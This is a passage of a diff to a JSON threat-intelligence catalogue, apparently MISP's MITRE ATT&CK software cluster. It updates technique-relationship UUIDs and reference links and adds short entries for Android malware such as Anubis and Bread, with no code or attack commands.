"43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21702,63 +24558,56 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025", + "dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21772,14 +24621,14 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21800,7 +24649,14 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21819,12 +24675,12 @@ ], "refs": [ "https://attack.mitre.org/software/S0169", - "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105", + "https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware", "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf", - "https://www.youtube.com/watch?v=fevGZs0EQu8", - "https://github.com/DiabloHorn/mempdump", "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf", - "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + "https://www.youtube.com/watch?v=fevGZs0EQu8", + "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?", + "https://github.com/DiabloHorn/mempdump" ], "synonyms": [ "RawPOS", @@ -21849,28 +24705,28 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21907,7 +24763,7 @@ "type": "similar" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21921,35 +24777,35 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21963,42 +24819,42 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22012,7 +24868,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22041,14 +24897,14 @@ }, "related": [ { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22084,7 +24940,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22125,7 +24981,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22154,14 +25010,14 @@ }, "related": [ { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22175,7 +25031,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22216,7 +25072,7 @@ "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22230,7 +25086,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22272,14 +25128,14 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "7c0f17c9-1af6-4628-9cbd-9e45482dd605", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22300,7 +25156,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22328,14 +25184,14 @@ }, "related": [ { - "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "dest-uuid": "bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22365,7 +25221,7 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22386,7 +25242,7 @@ "type": "uses" }, { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22414,7 +25270,7 @@ "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22435,7 +25291,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22449,56 +25305,56 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22519,14 +25375,14 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22538,6 +25394,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "e8545794-b98c-492b-a5b3-4b5a02682e37", @@ -22622,7 +25506,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22692,7 +25576,7 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22713,7 +25597,7 @@ "type": "uses" }, { - "dest-uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "dest-uuid": "7007935a-a8a7-4c0b-bd98-4e85be8ed197", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22727,7 +25611,7 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22744,6 +25628,138 @@ "uuid": "04227b24-7817-4de1-9050-b7b1b57f5866", "value": "SynAck - S0242" }, + { + "description": "[Anubis](https://attack.mitre.org/software/S0422) is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.(Citation: Cofense Anubis)", + "meta": { + "external_id": "S0422", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0422", + "https://cofense.com/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/" + ], + "synonyms": [ + "Anubis" + ] + }, + "related": [ + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b936a4-6321-4172-9114-038a866362ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a3c59d82-2c7c-44e5-a869-68e0a3e5935e", + "value": "Anubis - S0422" + }, { "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)", "meta": { @@ -22789,7 +25805,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22824,21 +25840,21 @@ "type": "similar" }, { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22866,7 +25882,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22887,14 +25903,21 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22921,14 +25944,14 @@ }, "related": [ { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22949,21 +25972,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -22977,7 +25993,14 @@ "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23075,7 +26098,7 @@ "type": "similar" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23110,7 +26133,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23124,14 +26147,7 @@ "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23152,7 +26168,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23241,14 +26257,14 @@ }, "related": [ { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23276,7 +26292,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23290,7 +26306,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23307,6 +26323,90 @@ "uuid": "049ff071-0b3c-4712-95d2-d21c6aa54501", "value": "MURKYTOP - S0233" }, + { + "description": "[Bread](https://attack.mitre.org/software/S0432) was a large-scale billing fraud malware family known for employing many different cloaking and obfuscation techniques in an attempt to continuously evade Google Play Store’s malware detection. 1,700 unique Bread apps were detected and removed from the Google Play Store before being downloaded by users.(Citation: Google Bread)", + "meta": { + "external_id": "S0432", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0432", + "https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html" + ], + "synonyms": [ + "Bread", + "Joker" + ] + }, + "related": [ + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "108b2817-bc01-404e-8e1b-8cdeec846326", + "value": "Bread - S0432" + }, { "description": "[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).", "meta": { @@ -23316,8 +26416,8 @@ ], "refs": [ "https://attack.mitre.org/software/S0234", - 